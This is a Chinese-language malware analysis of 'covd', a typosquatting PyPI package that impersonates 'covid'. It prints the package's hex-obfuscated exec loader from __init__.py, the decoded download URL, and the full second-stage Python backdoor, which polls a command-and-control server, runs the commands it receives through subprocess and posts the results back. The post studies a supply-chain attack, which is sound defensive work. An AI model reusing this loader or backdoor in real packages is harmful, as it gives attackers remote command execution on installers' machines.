Pypi官方仓库遭遇covd恶意包投毒分析

腾讯发现pypi的官方包投毒事件https://mp.weixin.qq.com/s?__biz=MjM5NzE1NjA0MQ==&mid=2651202917&idx=1&sn=d3ea45078ee4e311214b1209c0487801

0x01 事件描述

第一时间看了下,这已经不是第一次遭遇投毒了,上次还是更有名的requests的投毒,就少拼写一个字符。这次是利用疫情期间的有人编写covid库,方便获取实时的疫情信息状态。

11月16号 17:02 攻击者在PyPI官方仓库上传了covd 恶意包,该恶意包通过伪造covid包名进行钓鱼,攻击者可对受感染的主机进行入侵,并实施种植木马、命令控制等一系列活动,其中恶意代码存在于1.0.2/4版本中。

正常 covid 包的功能是获取约翰斯·霍普金斯大学和worldometers.info提供的有关新型冠状病毒的信息,每天的安装量上千次。在新冠疫情在世界流行的大背景下,covid包因输错包名而被误装为covd钓鱼包的数量将会不断增加。

0x02 复现内容

然后去复现了一下。

这里文章中给出的版本号是1.0.4

去官网找到covd的源码https://pypi.org/project/covd/,发现已经更新到`1.0.5`版本,将其最新版本下载,然后再下载一个历史版本https://pypi.org/project/covd/#history,看到原作者在16号-17号短短两天就添加了5个版本。下载`1.0.4`版本。

另外下载了https://pypi.org/project/covid/ 的源码进行对比。

使用解压文件获得源码,在1.0.4中的__init__.py文件中显示

1
__license__ = "MIT"
2
__version__ = "1.0.4"
3
4
try:
5
    getattr(builtins, bytes.fromhex('65786563').decode())(r.get(bytes.fromhex('687474703a2f2f612e7361626162612e776562736974652f676574').decode()).text)
6
except:
7
    pass

使用hex解码

1
65786563
2
exec
1
687474703a2f2f612e7361626162612e776562736974652f676574
2
http://a.sababa.website/get

通过builtins内置函数exec执行requests方法下载get文件内容,其中get文件的内容为:

1
def __agent():
2
    try:
3
        from urllib import request
4
        import json
5
        import subprocess
6
        while True:
7
            req = request.Request("https://sababa.website/api/ready", method="POST")
8
            r = request.urlopen(req)
9
            response = r.read()
10
            if response:
11
                task = json.loads(response.decode())
12
                try:
13
                    process = subprocess.Popen(task['command'], stderr=subprocess.PIPE, stdout=subprocess.PIPE, cwd=task.get('working_directory'))
14
                    stdout, stderr = process.communicate()
15
                    stdout = stdout.decode()
16
                    stderr = stderr.decode()
17
                    exit_code = process.wait()
18
                except Exception as e:
19
                    stdout = ''
20
                    stderr = str(e)
21
                    exit_code = 155
22
23
                data = {'task': task, 'exit_code': exit_code, 'stdout': stdout, 'stderr': stderr}
24
                data = json.dumps(data).encode()
25
                request.urlopen(request.Request('https://sababa.website/api/done', method="POST"), data=data)
26
27
    except Exception as e:
28
        raise
29
30
import threading
31
threading.Thread(target=__agent, daemon=True).start()

这个文件会立即启动一个线程,执行__agent函数

⽊⻢会循环向命令C2服务器( https://sababa.website/api/ready ) 询问需要执⾏的命令,并将命令执⾏的结果以json的形式 返回给另⼀个命令C2服务器(https://sababa.website/api/done ) 。

投毒的常见手法:
eval 执行一段话的明文木马
exec 执行一段加密的木马文本